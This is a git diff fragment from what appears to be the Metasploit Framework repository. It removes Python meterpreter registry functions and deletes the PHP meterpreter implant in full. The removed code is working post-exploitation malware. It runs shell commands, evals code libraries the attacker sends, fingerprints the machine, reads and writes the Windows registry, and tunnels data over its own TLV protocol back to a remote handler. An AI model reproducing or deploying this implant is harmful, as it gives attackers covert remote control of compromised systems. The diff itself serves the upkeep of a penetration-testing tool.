ctypes.c_ulong() - pdwSize.value = ctypes.sizeof(table) - if (iphlpapi.GetIpAddrTable(ctypes.byref(table), ctypes.byref(pdwSize), True) != 0): - return None - interfaces = [] - table_data = ctypes.string_at(table, pdwSize.value) - entries = struct.unpack('I', table_data[:4])[0] - table_data = table_data[4:] - for i in range(entries): - addrrow = cstruct_unpack(MIB_IPADDRROW, table_data) - ifrow = MIB_IFROW() - ifrow.dwIndex = addrrow.dwIndex - if iphlpapi.GetIfEntry(ctypes.byref(ifrow)) != 0: - continue - iface_info = {} - table_data = table_data[ctypes.sizeof(MIB_IPADDRROW):] - iface_info['index'] = addrrow.dwIndex - iface_info['addrs'] = [(socket.AF_INET, struct.pack(' 3: - break - name = (ctypes.c_char * (ctypes.sizeof(name) * 2)) - tries += 1 - continue - elif result == ERROR_NO_MORE_ITEMS: - result = ERROR_SUCCESS - break - elif result != ERROR_SUCCESS: - break - tries = 0 - response += tlv_pack(TLV_TYPE_KEY_NAME, ctypes.string_at(name)) - index += 1 - return result, response - -@meterpreter.register_function_windll -def stdapi_registry_enum_key(request, response): - hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] - return _wreg_enum_key(request, response, hkey) - -@meterpreter.register_function_windll -def stdapi_registry_enum_key_direct(request, response): - err, hkey = _wreg_open_key(request) - if err != ERROR_SUCCESS: - return err, response - ret = _wreg_enum_key(request, response, hkey) - _wreg_close_key(hkey) - return ret - -def _wreg_enum_value(request, response, hkey): - ERROR_MORE_DATA = 0xea - ERROR_NO_MORE_ITEMS = 0x0103 - name = (ctypes.c_char * 4096)() - name_sz = ctypes.c_uint32() - index = 0 - tries = 0 - while True: - name_sz.value = ctypes.sizeof(name) - result = ctypes.windll.advapi32.RegEnumValueA(hkey, index, name, ctypes.byref(name_sz), None, None, None, None) - if result == ERROR_MORE_DATA: - if tries > 3: - break - name = (ctypes.c_char * (ctypes.sizeof(name) * 3)) - tries += 1 - continue - elif result == ERROR_NO_MORE_ITEMS: - result = ERROR_SUCCESS - break - elif result != ERROR_SUCCESS: - break - tries = 0 - response += tlv_pack(TLV_TYPE_VALUE_NAME, ctypes.string_at(name)) - index += 1 - return result, response - -@meterpreter.register_function_windll -def stdapi_registry_enum_value(request, response): - hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] - return _wreg_enum_value(request, response, hkey) - -@meterpreter.register_function_windll -def stdapi_registry_enum_value_direct(request, response): - err, hkey = _wreg_open_key(request) - if err != ERROR_SUCCESS: - return err, response - ret = _wreg_enum_value(request, response, hkey) - _wreg_close_key(hkey) - return ret - -@meterpreter.register_function_windll -def stdapi_registry_load_key(request, response): - root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY) - sub_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY) - file_name = packet_get_tlv(request, TLV_TYPE_FILE_PATH) - result = ctypes.windll.advapi32.RegLoadKeyA(root_key, sub_key, file_name) - return result, response - -def _wreg_open_key(request): - root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] - base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value'] - base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8')) - permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS) - handle_id = ctypes.c_void_p() - if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) != ERROR_SUCCESS: - return error_result_windows(), 0 - return ERROR_SUCCESS, handle_id.value - -@meterpreter.register_function_windll -def stdapi_registry_open_key(request, response): - err, hkey = _wreg_open_key(request) - if err != ERROR_SUCCESS: - return err, response - response += tlv_pack(TLV_TYPE_HKEY, hkey) - return ERROR_SUCCESS, response - -@meterpreter.register_function_windll -def stdapi_registry_open_remote_key(request, response): - target_host = packet_get_tlv(request, TLV_TYPE_TARGET_HOST)['value'] - root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] - result_key = ctypes.c_void_p() - if ctypes.windll.advapi32.RegConnectRegistry(target_host, root_key, ctypes.byref(result_key)) != ERROR_SUCCESS: - return error_result_windows(), response - response += tlv_pack(TLV_TYPE_HKEY, result_key.value) - return ERROR_SUCCESS, response - -@meterpreter.register_function_windll -def stdapi_registry_query_class(request, response): - hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] - value_data = (ctypes.c_char * 4096)() - value_data_sz = ctypes.c_uint32() - value_data_sz.value = ctypes.sizeof(value_data) - if ctypes.windll.advapi32.RegQueryInfoKeyA(hkey, value_data, ctypes.byref(value_data_sz), None, None, None, None, None, None, None, None, None) != ERROR_SUCCESS: - return error_result_windows(), response - response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data)) - return ERROR_SUCCESS, response - -def _query_value(request, response, hkey): - value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value'] - value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8')) - value_type = ctypes.c_uint32() - value_type.value = 0 - value_data = (ctypes.c_ubyte * 4096)() - value_data_sz = ctypes.c_uint32() - value_data_sz.value = ctypes.sizeof(value_data) - result = ctypes.windll.advapi32.RegQueryValueExA(hkey, ctypes.byref(value_name), 0, ctypes.byref(value_type), value_data, ctypes.byref(value_data_sz)) - if result == ERROR_SUCCESS: - response += tlv_pack(TLV_TYPE_VALUE_TYPE, value_type.value) - if value_type.value == winreg.REG_SZ: - response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data) + NULL_BYTE) - elif value_type.value == winreg.REG_DWORD: - value = value_data[:4] - value.reverse() - if sys.version_info[0] < 3: - value = ''.join(map(chr, value)) - else: - value = bytes(value) - response += tlv_pack(TLV_TYPE_VALUE_DATA, value) - else: - response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data, value_data_sz.value)) - return ERROR_SUCCESS, response - return error_result_windows(), response - -@meterpreter.register_function_windll -def stdapi_registry_query_value(request, response): - hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] - return _query_value(request, response, hkey) - -@meterpreter.register_function_windll -def stdapi_registry_query_value_direct(request, response): - err, hkey = _wreg_open_key(request) - if err != ERROR_SUCCESS: - return err, response - ret = _query_value(request, response, hkey) - _wreg_close_key(hkey) - return ret - -def _set_value(request, response, hkey): - value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value'] - value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8')) - value_type = packet_get_tlv(request, TLV_TYPE_VALUE_TYPE)['value'] - value_data = packet_get_tlv(request, TLV_TYPE_VALUE_DATA)['value'] - result = ctypes.windll.advapi32.RegSetValueExA(hkey, ctypes.byref(value_name), 0, value_type, value_data, len(value_data)) - return result, response - -@meterpreter.register_function_windll -def stdapi_registry_set_value(request, response): - hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value'] - return _set_value(request, response, hkey) - -@meterpreter.register_function_windll -def stdapi_registry_set_value_direct(request, response): - err, hkey = _wreg_open_key(request) - if err != ERROR_SUCCESS: - return err, response - ret = _set_value(request, response, hkey) - _wreg_close_key(hkey) - return ret - -@meterpreter.register_function_windll -def stdapi_registry_unload_key(request, response): - root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value'] - base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value'] - result = ctypes.windll.advapi32.RegUnLoadKeyA(root_key, base_key) - return result, response diff --git a/data/meterpreter/meterpreter.php b/data/meterpreter/meterpreter.php deleted file mode 100755 index b772b3e94c..0000000000 --- a/data/meterpreter/meterpreter.php +++ /dev/null @@ -1,1249 +0,0 @@ -// $val) { - if (is_array($val)) { - # recurse - dump_array($val, "{$name}[{$key}]"); - } else { - my_print(sprintf(" $key ($val)")); - } - } -} -function dump_readers() { - global $readers; - dump_array($readers, 'Readers'); -} -function dump_resource_map() { - global $resource_type_map; - dump_array($resource_type_map, 'Resource map'); -} -function dump_channels($extra="") { - global $channels; - dump_array($channels, 'Channels '.$extra); -} - - -# Doesn't exist before php 4.3 -if (!function_exists("file_get_contents")) { -function file_get_contents($file) { - $f = @fopen($file,"rb"); - $contents = false; - if ($f) { - do { $contents .= fgets($f); } while (!feof($f)); - } - fclose($f); - return $contents; -} -} - -# Renamed in php 4.3 -if (!function_exists('socket_set_option')) { -function socket_set_option($sock, $type, $opt, $value) { - socket_setopt($sock, $type, $opt, $value); -} -} - -# -# Payload definitions -# -define("PAYLOAD_UUID", ""); - -# -# Constants -# -define("PACKET_TYPE_REQUEST", 0); -define("PACKET_TYPE_RESPONSE", 1); -define("PACKET_TYPE_PLAIN_REQUEST", 10); -define("PACKET_TYPE_PLAIN_RESPONSE", 11); - -define("ERROR_SUCCESS", 0); -define("ERROR_FAILURE", 1); - -define("CHANNEL_CLASS_BUFFERED", 0); -define("CHANNEL_CLASS_STREAM", 1); -define("CHANNEL_CLASS_DATAGRAM", 2); -define("CHANNEL_CLASS_POOL", 3); - -# -# TLV Meta Types -# -define("TLV_META_TYPE_NONE", ( 0 )); -define("TLV_META_TYPE_STRING", (1 << 16)); -define("TLV_META_TYPE_UINT", (1 << 17)); -define("TLV_META_TYPE_RAW", (1 << 18)); -define("TLV_META_TYPE_BOOL", (1 << 19)); -define("TLV_META_TYPE_QWORD", (1 << 20)); -define("TLV_META_TYPE_COMPRESSED", (1 << 29)); -define("TLV_META_TYPE_GROUP", (1 << 30)); -define("TLV_META_TYPE_COMPLEX", (1 << 31)); -# not defined in original -define("TLV_META_TYPE_MASK", (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)); - -# -# TLV base starting points -# -define("TLV_RESERVED", 0); -define("TLV_EXTENSIONS", 20000); -define("TLV_USER", 40000); -define("TLV_TEMP", 60000); - -# -# TLV Specific Types -# -define("TLV_TYPE_ANY", TLV_META_TYPE_NONE | 0); -define("TLV_TYPE_METHOD", TLV_META_TYPE_STRING | 1); -define("TLV_TYPE_REQUEST_ID", TLV_META_TYPE_STRING | 2); -define("TLV_TYPE_EXCEPTION", TLV_META_TYPE_GROUP | 3); -define("TLV_TYPE_RESULT", TLV_META_TYPE_UINT | 4); - -define("TLV_TYPE_STRING", TLV_META_TYPE_STRING | 10); -define("TLV_TYPE_UINT", TLV_META_TYPE_UINT | 11); -define("TLV_TYPE_BOOL", TLV_META_TYPE_BOOL | 12); - -define("TLV_TYPE_LENGTH", TLV_META_TYPE_UINT | 25); -define("TLV_TYPE_DATA", TLV_META_TYPE_RAW | 26); -define("TLV_TYPE_FLAGS", TLV_META_TYPE_UINT | 27); - -define("TLV_TYPE_CHANNEL_ID", TLV_META_TYPE_UINT | 50); -define("TLV_TYPE_CHANNEL_TYPE", TLV_META_TYPE_STRING | 51); -define("TLV_TYPE_CHANNEL_DATA", TLV_META_TYPE_RAW | 52); -define("TLV_TYPE_CHANNEL_DATA_GROUP", TLV_META_TYPE_GROUP | 53); -define("TLV_TYPE_CHANNEL_CLASS", TLV_META_TYPE_UINT | 54); - -define("TLV_TYPE_SEEK_WHENCE", TLV_META_TYPE_UINT | 70); -define("TLV_TYPE_SEEK_OFFSET", TLV_META_TYPE_UINT | 71); -define("TLV_TYPE_SEEK_POS", TLV_META_TYPE_UINT | 72); - -define("TLV_TYPE_EXCEPTION_CODE", TLV_META_TYPE_UINT | 300); -define("TLV_TYPE_EXCEPTION_STRING", TLV_META_TYPE_STRING | 301); - -define("TLV_TYPE_LIBRARY_PATH", TLV_META_TYPE_STRING | 400); -define("TLV_TYPE_TARGET_PATH", TLV_META_TYPE_STRING | 401); -define("TLV_TYPE_MIGRATE_PID", TLV_META_TYPE_UINT | 402); -define("TLV_TYPE_MIGRATE_LEN", TLV_META_TYPE_UINT | 403); - -define("TLV_TYPE_MACHINE_ID", TLV_META_TYPE_STRING | 460); -define("TLV_TYPE_UUID", TLV_META_TYPE_RAW | 461); - -define("TLV_TYPE_CIPHER_NAME", TLV_META_TYPE_STRING | 500); -define("TLV_TYPE_CIPHER_PARAMETERS", TLV_META_TYPE_GROUP | 501); - -function my_cmd($cmd) { - return shell_exec($cmd); -} - -function is_windows() { - return (strtoupper(substr(PHP_OS,0,3)) == "WIN"); -} - - - -## -# Worker functions -## - -function core_channel_open($req, &$pkt) { - $type_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_TYPE); - - my_print("Client wants a ". $type_tlv['value'] ." channel, i'll see what i can do"); - - # Doing it this way allows extensions to create new channel types without - # needing to modify the core code. - $handler = "channel_create_". $type_tlv['value']; - if ($type_tlv['value'] && is_callable($handler)) { - my_print("Calling {$handler}"); - $ret = $handler($req, $pkt); - } else { - my_print("I don't know how to make a ". $type_tlv['value'] ." channel. =("); - $ret = ERROR_FAILURE; - } - - return $ret; -} - -# Works for streams -function core_channel_eof($req, &$pkt) { - my_print("doing channel eof"); - $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); - $c = get_channel_by_id($chan_tlv['value']); - - if ($c) { - if (eof($c[1])) { - packet_add_tlv($pkt, create_tlv(TLV_TYPE_BOOL, 1)); - } else { - packet_add_tlv($pkt, create_tlv(TLV_TYPE_BOOL, 0)); - } - return ERROR_SUCCESS; - } else { - return ERROR_FAILURE; - } -} - -# Works -function core_channel_read($req, &$pkt) { - my_print("doing channel read"); - $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); - $len_tlv = packet_get_tlv($req, TLV_TYPE_LENGTH); - $id = $chan_tlv['value']; - $len = $len_tlv['value']; - $data = channel_read($id, $len); - if ($data === false) { - $res = ERROR_FAILURE; - } else { - packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, $data)); - $res = ERROR_SUCCESS; - } - return $res; -} - -# Works -function core_channel_write($req, &$pkt) { - #my_print("doing channel write"); - $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); - $data_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_DATA); - $len_tlv = packet_get_tlv($req, TLV_TYPE_LENGTH); - $id = $chan_tlv['value']; - $data = $data_tlv['value']; - $len = $len_tlv['value']; - - $wrote = channel_write($id, $data, $len); - if ($wrote === false) { - return ERROR_FAILURE; - } else { - packet_add_tlv($pkt, create_tlv(TLV_TYPE_LENGTH, $wrote)); - return ERROR_SUCCESS; - } -} - -# -# This is called when the client wants to close a channel explicitly. Not to be confused with -# -function core_channel_close($req, &$pkt) { - global $channel_process_map; - # XXX remove the closed channel from $readers - my_print("doing channel close"); - $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); - $id = $chan_tlv['value']; - - $c = get_channel_by_id($id); - if ($c) { - # We found a channel, close its stdin/stdout/stderr - channel_close_handles($id); - - # This is an explicit close from the client, always remove it from the - # list, even if it has data. - channel_remove($id); - - # if the channel we're closing is associated with a process, kill the - # process - # Make sure the stdapi function for closing a process handle is - # available before trying to clean up - if (array_key_exists($id, $channel_process_map) and is_callable('close_process')) { - close_process($channel_process_map[$id]); - } - return ERROR_SUCCESS; - } - dump_channels("after close"); - - return ERROR_FAILURE; -} - -# -# Destroy a channel and all associated handles. -# -function channel_close_handles($cid) { - global $channels; - - # Sanity check - make sure a channel with the given cid exists - if (!array_key_exists($cid, $channels)) { - return; - } - $c = $channels[$cid]; - for($i = 0; $i < 3; $i++) { - #my_print("closing channel fd $i, {$c[$i]}"); - if (array_key_exists($i, $c) && is_resource($c[$i])) { - close($c[$i]); - # Make sure the main loop doesn't select on this resource after we - # close it. - remove_reader($c[$i]); - } - } - - # axe it from the list only if it doesn't have any leftover data - if (strlen($c['data']) == 0) { - channel_remove($cid); - } -} - -function channel_remove($cid) { - global $channels; - unset($channels[$cid]); -} - -function core_channel_interact($req, &$pkt) { - global $readers; - - my_print("doing channel interact"); - $chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); - $id = $chan_tlv['value']; - - # True means start interacting, False means stop - $toggle_tlv = packet_get_tlv($req, TLV_TYPE_BOOL); - - $c = get_channel_by_id($id); - if ($c) { - if ($toggle_tlv['value']) { - # Start interacting. If we're already interacting with this - # channel, it's an error and we should return failure. - if (!in_array($c[1], $readers)) { - # stdout - add_reader($c[1]); - # Make sure we don't add the same resource twice in the case - # that stdin == stderr - if (array_key_exists(2, $c) && $c[1] != $c[2]) { - # stderr - add_reader($c[2]); - } - $ret = ERROR_SUCCESS; - } else { - # Already interacting - $ret = ERROR_FAILURE; - } - } else { - # Stop interacting. If we're not interacting yet with this - # channel, it's an error and we should return failure. - if (in_array($c[1], $readers)) { - remove_reader($c[1]); # stdout - remove_reader($c[2]); # stderr - $ret = ERROR_SUCCESS; - } else { - # Not interacting. This is technically failure, but it seems - # the client sends us two of these requests in quick succession - # causing the second one to always return failure. When that - # happens we fail to clean up properly, so always return - # success here. - $ret = ERROR_SUCCESS; - } - } - } else { - # Not a valid channel - my_print("Trying to interact with an invalid channel"); - $ret = ERROR_FAILURE; - } - return $ret; -} - -function interacting($cid) { - global $readers; - $c = get_channel_by_id($cid); - if (in_array($c[1], $readers)) { - return true; - } - return false; -} - - -function core_shutdown($req, &$pkt) { - my_print("doing core shutdown"); - die(); -} - -# zlib support is not compiled in by default, so this makes sure the library -# isn't compressed before eval'ing it -# TODO: check for zlib support and decompress if possible -function core_loadlib($req, &$pkt) { - global $commands; - my_print("doing core_loadlib"); - $data_tlv = packet_get_tlv($req, TLV_TYPE_DATA); - if (($data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED) { - return ERROR_FAILURE; - } - $tmp = $commands; - eval($data_tlv['value']); - $new = array_diff($commands, $tmp); - foreach ($new as $meth) { - packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, $meth)); - } - - return ERROR_SUCCESS; -} - - -function core_uuid($req, &$pkt) { - my_print("doing core_uuid"); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_UUID, PAYLOAD_UUID)); - return ERROR_SUCCESS; -} - - -function get_hdd_label() { - foreach (scandir('/dev/disk/by-id/') as $file) { - foreach (array("ata-", "mb-") as $prefix) { - if (strpos($file, $prefix) === 0) { - return substr($file, strlen($prefix)); - } - } - } - return ""; -} - -function core_machine_id($req, &$pkt) { - my_print("doing core_machine_id"); - $machine_id = gethostname(); - $serial = ""; - - if (is_windows()) { - # It's dirty, but there's not really a nicer way of doing this on windows. Make sure - # it's lowercase as this is what the other meterpreters use. - $output = strtolower(shell_exec("vol %SYSTEMDRIVE%")); - $serial = preg_replace('/.*serial number is ([a-z0-9]{4}-[a-z0-9]{4}).*/s', '$1', $output); - } else { - $serial = get_hdd_label(); - } - - packet_add_tlv($pkt, create_tlv(TLV_TYPE_MACHINE_ID, $serial.":".$machine_id)); - return ERROR_SUCCESS; -} - - -## -# Channel Helper Functions -## -$channels = array(); - -function register_channel($in, $out=null, $err=null) { - global $channels; - if ($out == null) { $out = $in; } - if ($err == null) { $err = $out; } - $channels[] = array(0 => $in, 1 => $out, 2 => $err, 'type' => get_rtype($in), 'data' => ''); - - # Grab the last index and use it as the new ID. - $id = end(array_keys($channels)); - my_print("Created new channel $in, with id $id"); - return $id; -} - -# -# Channels look like this: -# -# Array -# ( -# [0] => Array -# ( -# [0] => Resource id #12 -# [1] => Resource id #13 -# [2] => Resource id #14 -# [type] => 'stream' -# [data] => '...' -# ) -# ) -# -function get_channel_id_from_resource($resource) { - global $channels; - if (empty($channels)) { - return false; - } - foreach ($channels as $i => $chan_ary) { - if (in_array($resource, $chan_ary)) { - my_print("Found channel id $i"); - return $i; - } - } - return false; -} - -function get_channel_by_id($chan_id) { - global $channels; - my_print("Looking up channel id $chan_id"); - #dump_channels("in get_channel_by_id"); - if (array_key_exists($chan_id, $channels)) { - my_print("Found one"); - return $channels[$chan_id]; - } else { - return false; - } -} - -# Write data to the channel's stdin -function channel_write($chan_id, $data) { - $c = get_channel_by_id($chan_id); - if ($c && is_resource($c[0])) { - my_print("---Writing '$data' to channel $chan_id"); - return write($c[0], $data); - } else { - return false; - } -} - -# Read from the channel's stdout -function channel_read($chan_id, $len) { - $c = get_channel_by_id($chan_id); - if ($c) { - # First get any pending unread data from a previous read - $ret = substr($c['data'], 0, $len); - $c['data'] = substr($c['data'], $len); - if (strlen($ret) > 0) { my_print("Had some leftovers: '$ret'"); } - - # Next grab stderr if we have it and it's not the same file descriptor - # as stdout. - if (strlen($ret) < $len and is_resource($c[2]) and $c[1] != $c[2]) { - # Read as much as possible into the channel's data buffer - $read = read($c[2]); - $c['data'] .= $read; - - # Now slice out however much the client asked for. If there's any - # left over, they'll get it next time. If it doesn't add up to - # what they requested, oh well, they'll just have to call read - # again. Looping until we get the requested number of bytes is - # inconsistent with win32 meterpreter and causes the whole php - # process to block waiting on input. - $bytes_needed = $len - strlen($ret); - $ret .= substr($c['data'], 0, $bytes_needed); - $c['data'] = substr($c['data'], $bytes_needed); - } - - # Then if there's still room, grab stdout - if (strlen($ret) < $len and is_resource($c[1])) { - # Same as above, but for stdout. This will overwrite a false - # return value from reading stderr but the two should generally - # EOF at the same time, so it should be fine. - $read = read($c[1]); - $c['data'] .= $read; - $bytes_needed = $len - strlen($ret); - $ret .= substr($c['data'], 0, $bytes_needed); - $c['data'] = substr($c['data'], $bytes_needed); - } - - # In the event of one or the other of the above read()s returning - # false, make sure we have sent any pending unread data before saying - # EOF by returning false. Note that if they didn't return false, it is - # perfectly legitimate to return an empty string which just means - # there's no data right now but we haven't hit EOF yet. - if (false === $read and empty($ret)) { - if (interacting($chan_id)) { - handle_dead_resource_channel($c[1]); - } - return false; - } - return $ret; - } else { - return false; - } -} - - - - -## -# TLV Helper Functions -## - -function generate_req_id() { - $characters = 'abcdefghijklmnopqrstuvwxyz'; - $rid = ''; - - for ($p = 0; $p < 32; $p++) { - $rid .= $characters[rand(0, strlen($characters)-1)]; - } - - return $rid; -} - -function handle_dead_resource_channel($resource) { - global $msgsock; - - if (!is_resource($resource)) { - return; - } - - $cid = get_channel_id_from_resource($resource); - if ($cid === false) { - my_print("Resource has no channel: {$resource}"); - - # Make sure the provided resource gets closed regardless of it's status - # as a channel - remove_reader($resource); - close($resource); - } else { - my_print("Handling dead resource: {$resource}, for channel: {$cid}"); - - # Make sure we close other handles associated with this channel as well - channel_close_handles($cid); - - # Notify the client that this channel is dead - $pkt = pack("N", PACKET_TYPE_REQUEST); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, 'core_channel_close')); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id())); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid)); - # Add the length to the beginning of the packet - $pkt = pack("N", strlen($pkt) + 4) . $pkt; - write($msgsock, $pkt); - } - - return; -} - -function handle_resource_read_channel($resource, $data) { - global $udp_host_map; - $cid = get_channel_id_from_resource($resource); - my_print("Handling data from $resource"); - - # Build a new Packet - $pkt = pack("N", PACKET_TYPE_REQUEST); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_METHOD, 'core_channel_write')); - if (array_key_exists((int)$resource, $udp_host_map)) { - list($h,$p) = $udp_host_map[(int)$resource]; - packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_HOST, $h)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_PEER_PORT, $p)); - } - packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_DATA, $data)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_LENGTH, strlen($data))); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_REQUEST_ID, generate_req_id())); - - # Add the length to the beginning of the packet - $pkt = pack("N", strlen($pkt) + 4) . $pkt; - return $pkt; -} - -function create_response($req) { - $pkt = pack("N", PACKET_TYPE_RESPONSE); - - $method_tlv = packet_get_tlv($req, TLV_TYPE_METHOD); - my_print("method is {$method_tlv['value']}"); - packet_add_tlv($pkt, $method_tlv); - - $reqid_tlv = packet_get_tlv($req, TLV_TYPE_REQUEST_ID); - packet_add_tlv($pkt, $reqid_tlv); - - if (is_callable($method_tlv['value'])) { - $result = $method_tlv['value']($req, $pkt); - } else { - my_print("Got a request for something I don't know how to handle (". $method_tlv['value'] ."), returning failure"); - $result = ERROR_FAILURE; - } - - packet_add_tlv($pkt, create_tlv(TLV_TYPE_RESULT, $result)); - # Add the length to the beginning of the packet - $pkt = pack("N", strlen($pkt) + 4) . $pkt; - return $pkt; -} - -function create_tlv($type, $val) { - return array( 'type' => $type, 'value' => $val ); -} - -function tlv_pack($tlv) { - $ret = ""; - #my_print("Creating a tlv of type: {$tlv['type']}"); - if (($tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) { - $ret = pack("NNa*", 8 + strlen($tlv['value'])+1, $tlv['type'], $tlv['value'] . "\0"); - } - elseif (($tlv['type'] & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) { - $hi = ($tlv['value'] >> 32) & 0xFFFFFFFF; - $lo = $tlv['value'] & 0xFFFFFFFF; - $ret = pack("NNNN", 8 + 8, $tlv['type'], $hi, $lo); - } - elseif (($tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) { - $ret = pack("NNN", 8 + 4, $tlv['type'], $tlv['value']); - } - elseif (($tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) { - # PHP's pack appears to be busted for chars, - $ret = pack("NN", 8 + 1, $tlv['type']); - $ret .= $tlv['value'] ? "\x01" : "\x00"; - } - elseif (($tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) { - $ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value']; - } - elseif (($tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP) { - # treat groups the same as raw - $ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value']; - } - elseif (($tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX) { - # treat complex the same as raw - $ret = pack("NN", 8 + strlen($tlv['value']), $tlv['type']) . $tlv['value']; - } - else { - my_print("Don't know how to make a tlv of type ". $tlv['type'] . " (meta type ". sprintf("%08x", $tlv['type'] & TLV_META_TYPE_MASK) ."), wtf"); - } - return $ret; -} - -function tlv_unpack($raw_tlv) { - $tlv = unpack("Nlen/Ntype", substr($raw_tlv, 0, 8)); - $type = $tlv['type']; - my_print("len: {$tlv['len']}, type: {$tlv['type']}"); - if (($type & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING) { - $tlv = unpack("Nlen/Ntype/a*value", substr($raw_tlv, 0, $tlv['len'])); - # PHP 5.5.0 modifed the 'a' unpack format to stop removing the trailing - # NULL, so catch that here - $tlv['value'] = str_replace("\0", "", $tlv['value']); - } - elseif (($type & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT) { - $tlv = unpack("Nlen/Ntype/Nvalue", substr($raw_tlv, 0, $tlv['len'])); - } - elseif (($type & TLV_META_TYPE_QWORD) == TLV_META_TYPE_QWORD) { - $tlv = unpack("Nlen/Ntype/Nhi/Nlo", substr($raw_tlv, 0, $tlv['len'])); - $tlv['value'] = $tlv['hi'] << 32 | $tlv['lo']; - } - elseif (($type & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL) { - $tlv = unpack("Nlen/Ntype/cvalue", substr($raw_tlv, 0, $tlv['len'])); - } - elseif (($type & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW) { - $tlv = unpack("Nlen/Ntype", $raw_tlv); - $tlv['value'] = substr($raw_tlv, 8, $tlv['len']-8); - } - else { - my_print("Wtf type is this? $type"); - $tlv = null; - } - return $tlv; -} - -function packet_add_tlv(&$pkt, $tlv) { - $pkt .= tlv_pack($tlv); -} - -function packet_get_tlv($pkt, $type) { - #my_print("Looking for a tlv of type $type"); - # Start at offset 8 to skip past the packet header - $offset = 8; - while ($offset < strlen($pkt)) { - $tlv = tlv_unpack(substr($pkt, $offset)); - #my_print("len: {$tlv['len']}, type: {$tlv['type']}"); - if ($type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) { - #my_print("Found one at offset $offset"); - return $tlv; - } - $offset += $tlv['len']; - } - #my_print("Didn't find one, wtf"); - return false; -} - - -function packet_get_all_tlvs($pkt, $type) { - my_print("Looking for all tlvs of type $type"); - # Start at offset 8 to skip past the packet header - $offset = 8; - $all = array(); - while ($offset < strlen($pkt)) { - $tlv = tlv_unpack(substr($pkt, $offset)); - if ($tlv == NULL) { - break; - } - my_print("len: {$tlv['len']}, type: {$tlv['type']}"); - if (empty($type) || $type == ($tlv['type'] & ~TLV_META_TYPE_COMPRESSED)) { - my_print("Found one at offset $offset"); - array_push($all, $tlv); - } - $offset += $tlv['len']; - } - return $all; -} - - -## -# Functions for genericizing the stream/socket conundrum -## - - -function register_socket($sock, $ipaddr=null, $port=null) { - global $resource_type_map, $udp_host_map; - my_print("Registering socket $sock for ($ipaddr:$port)"); - $resource_type_map[(int)$sock] = 'socket'; - if ($ipaddr) { - $udp_host_map[(int)$sock] = array($ipaddr, $port); - #dump_array($udp_host_map, "UDP Map after registering a new socket"); - } -} - -# The stream functions cannot be unconnected, so don't require a host map -function register_stream($stream, $ipaddr=null, $port=null) { - global $resource_type_map, $udp_host_map; - my_print("Registering stream $stream for ($ipaddr:$port)"); - $resource_type_map[(int)$stream] = 'stream'; - if ($ipaddr) { - $udp_host_map[(int)$stream] = array($ipaddr, $port); - #dump_array($udp_host_map, "UDP Map after registering a new stream"); - } -} - -function connect($ipaddr, $port, $proto='tcp') { - my_print("Doing connect($ipaddr, $port)"); - $sock = false; - - # IPv6 requires brackets around the address in some cases, 